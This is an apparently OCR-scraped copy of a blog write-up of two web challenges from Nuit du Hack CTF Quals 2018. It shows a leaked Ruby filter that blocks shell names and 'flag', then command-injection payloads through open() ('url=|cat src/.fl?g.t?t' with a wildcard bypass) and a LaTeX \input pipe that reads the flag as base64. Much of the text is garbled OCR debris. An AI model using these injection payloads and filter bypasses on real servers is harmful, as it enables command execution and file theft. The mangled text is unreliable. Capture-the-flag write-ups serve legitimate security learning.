Nuit du Hack CTF Quals 2018 writeup (web)

HEre T 2018-04-03 15:26:16 K fi 277 g

FEALE B RSO R G &, 5. CC 4.0 BY-SA RN, #5805 I b JE S H AL BER A 1
ACHEE: https://blog.csdn.net/m0_38094687/article/details/79804078

JERAL

PR 2 248 bL A 14 5 i we b 25 78 H

- Crawl me maybe! (100)
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Crawl me maybe!
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BACKTRACE (expand)

/home/challenge/src/CrawlMeMaybe. rb in match
19.  if /shldashlbashirbashlzsh/.match(ur1) || url.match(*flag') || url.matchCtct®) || url.index('=") 1= il
/home/challenge/src/CrawlMeMaybe.rb in block in amain>

12. erb iindex

13, end

14.

15. post '/result’ do

16. @title = 'Crawl Me Maybe!’
17.  url = params["url1”]

18.

15.  if /shldash|bashlrbashlzsh/.match(ur1) || url.match('flag") || url.match( txt') || url.index("=') 1= nil
20. Gresult = "Attack detected”
2. erb :error

22. elsze

23. begin

24, page = open(url)

25. rescue StandardError == &
2. @result = "Invalide url”

Jusr/T1ib/ruby/2.3.0/webrick/httpserver.rb in service
140. si.service{req, res)
Jusr/T1ib/ruby/2.3.0/webrick/httpserver.rb in run
96. server.service(req, res)
Jusr/1ib/ruby/2. 3.0/webrick/server.rb in block in start_thread

296. block 7 bleck.call(seck) : run(sock)
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url=|1ls -a src

Page well formed !

Go back

JUMPTO: GET POST COOKIES ENV

| Curl.index('|') !

| Curl.index('|') !

. flag &t CrawlMeMaybe rb public views

url=|cat src/.flag.txt

mil && ! {url.index('cat') !

mil & 1 {url.index('cat') !

mil || url.index('1s") = ni1))

mil || url.index('1s") 1= mi1))
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Attack detected

Go back
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url=|cat src/.fl?g.t?t

Page well formed !

Go back
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C4123456 789012 | & bruce schneier@it-is-nol-my-real-email.com | & hitps//www.schneiercom/ | B schneier-nol-my-real-account | i
schneler-not-my-real-account | @ schneier-not-my-real-account | W schneserblog | 8 bin boot dev entrypaint sh ete flag home lib b4 media mnt opt proc
e ]

root run sbin srv supervisord.log supervisord.pid sys tmpusrvar | @ schneier-not-my-real-account | @ schneier-not-my-real-account |  Buy one of my books!
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221b Baker Street, London, ENGLAND
C+123456 789012 | & bruce schneier@it-is-not-my-real-email.com | # https.//www schneiercom/ | @ schneier-not-my-real-account | &

schneier-not-my-real-account | @ schneier-nol-my-real-account | W schneiertblog | 8
| & schneier-not-my-real-account | @ schneier-not-my-real-account - | Buy oneof my books!
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skype: BBBBBBBBBBBBBB}\skype{\input|"cat flag|base64 "}%
ZZ21b Baker Street, London, ENGLANL
0412345 /89012 | & bruce schneier@it-is-not-my-real-email. com | & hilps/fwww schneiercom/ | @ schneier-not-my-real-account | &

schneier-not-my-real-account | @ schneier-not-my-real-account | W schneierblog | 8 TkRIeOFuZ FAFh?5hbGRIS251dGhfYIJIYXRIZFI0aGViaVRIWHOK | ©

schneier-not-my-real-account | @ schneier-not-my-real-account | |- Buy one of my books!

R Jibase64 #1515 Fliflag

i H https:/tipi-hack.github.io/2018/04/01/quals-NDH-18-linked-out.html



https://tipi-hack.github.io/2018/04/01/quals-NDH-18-linked-out.html

	Nuit du Hack CTF Quals 2018 writeup (web)
	Crawl me maybe!
	Linked Out


